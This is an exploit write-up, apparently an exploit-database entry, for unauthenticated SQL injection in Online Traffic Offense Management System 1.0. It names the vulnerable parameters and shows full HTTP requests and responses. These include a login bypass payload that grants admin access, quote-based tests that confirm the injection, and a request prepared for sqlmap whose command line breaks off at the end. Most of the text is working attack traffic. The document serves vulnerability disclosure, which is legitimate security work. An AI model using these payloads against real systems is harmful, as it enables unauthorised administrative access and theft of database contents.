Authored by snup

Online Traffic Offense Management System version 1.0 suffers from multiple unauthenticated remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to Justin White in August of 2021.

# Exploit Title: Online Traffic Offense Management System 1.0 - Multiple SQL Injection (Unauthenticated)
# Date: 07/10/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: [email protected]
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### SQL Injection

# All requests can be sent by both an authenticated and a non-authenticated user

# Example vulnerable pages and parameters:

* http://localhost/traffic_offense/classes/Users.php
Parameters:
- id
- firstname
- lastname
- username

* http://localhost/traffic_offense/classes/Login.php
Parameters:
- username
- password

* http://localhost/traffic_offense/*/&id=1 [all pages where the id parameter is present]
Parameters:
- id

* http://localhost/traffic_offense/classes/Master.php
Parameters:
- id
- date_created
- ticket_no
- status
- offense_id
- fine
- code
- name

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example 1

# Login request generate sql injection error

POST /traffic_offense/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Origin: http://localhost
Connection: close
Referer: http://localhost/traffic_offense/admin/login.php
Cookie: PHPSESSID=5vr3fm16tmrncov6j4amftftmi
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=xxxx'&password=xxxx2'

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 12:31:03 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 265
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>C:xampphtdocstraffic_offenseclassesLogin.php</b> on line <b>22</b><br />
{"status":"incorrect","last_qry":"SELECT * from users where username = 'xxxx'' and password = md5('xxxx2'') "}

-----------------------------------------------------------------------------------------------------------------------
# Exploitable request - login parameter can be any value

POST /traffic_offense/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost
Connection: close
Referer: http://localhost/traffic_offense/admin/login.php
Cookie: PHPSESSID=5vr3fm16tmrncov6j4amftftmi
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=admin&password=xxxx')+or+'1'='1'+and+('1

-----------------------------------------------------------------------------------------------------------------------
# Response

HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 12:24:50 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}

-----------------------------------------------------------------------------------------------------------------------
Logged as admin account

-----------------------------------------------------------------------------------------------------------------------

## Example 2

# Sql injection detection on the example of pages with the id parameter

# Login request generate sql error - add ' next to the id parameter

GET /traffic_offense/admin/offenses/view_details.php?id=3' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/traffic_offense/admin/?page=offenses/manage_record
Cookie: PHPSESSID=2nkvkfftfjckjeqfkt6917vnu7
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

#Response from database - sql error

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 03:56:37 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 7837
Connection: close
Content-Type: text/html; charset=UTF-8

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''3''' at line 1
SELECT r.*,d.license_id_no, d.name as driver from `offense_list` r inner join `drivers_list` on r.driver_id = d.id where r.id = '3'' <br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>C:xampphtdocstraffic_offenseadminoffensesview_details.php</b> on line <b>10</b><br />
<br />
<b>Notice</b>: Trying to get property 'num_rows' of non-object in <b>C:xampphtdocstraffic_offenseadminoffensesview_details.php</b> on line <b>16</b>
[...]

# Request - add '' next to the id parameter

GET /traffic_offense/admin/offenses/view_details.php?id=3'' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/traffic_offense/admin/?page=offenses/manage_record
Cookie: PHPSESSID=2nkvkfftfjckjeqfkt6917vnu7
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

# Response did not return an error - sql injection confirmed

HTTP/1.1 200 OK
Date: Thu, 07 Oct 2021 03:58:40 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23
X-Powered-By: PHP/7.4.23
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 7214
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
<div class="w-100 d-flex justify-content-end mb-2">
<button class="btn btn-flat btn-sm btn-default bg-lightblue" type="button" id="print"><i class="fa fa-print"></i> Print</button>
<button class="btn btn-flat btn-sm btn-default bg-black" data-dismiss="modal"><i class="fa fa-times"></i> Close</button>
</div>
[...]

-----------------------------------------------------------------------------------------------------------------------

## Example 3

# Using sqlmap on an intercepted request http://localhost/traffic_offense/classes/Master.php

POST /traffic_offense/classes/Master.php?f=save_offense_record HTTP/1.1
Origin: http://localhost
Content-Length: 1598
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Sec-Fetch-Site: same-origin
Host: localhost:80
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Connection: close
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Cookie: PHPSESSID=2nkvkfftfjckjeqfkt6917vnu7
Referer: http://localhost/traffic_offense/admin/?page=offenses/manage_record&id=1
Content-Type: multipart/form-data; boundary=---------------------------7900788429998101281579901385
Sec-Fetch-Dest: empty

-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="id"

1*
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="date_created"

2021-08-18T15:00*
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="ticket_no"

12345678
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="driver_id"

1
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="officer_id"

OFC-789456123
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="officer_name"

George
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="status"

1*
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="offense_id[]"

1*
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="fine[]"

652*
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="offense_id[]"

3*
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="fine[]"

1001*
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="total_amount"

1651
-----------------------------7900788429998101281579901385
Content-Disposition: form-data; name="remarks"

Sample
-----------------------------7900788429998101281579901385--

# Using the sqlmap utility

C:UsersHubertDesktopsqlmapproject-sqlmap-24e3b6a>sqlmap.py --level=5 --risk=3 --dbms=MySQL -r C:UsersHubertDesktop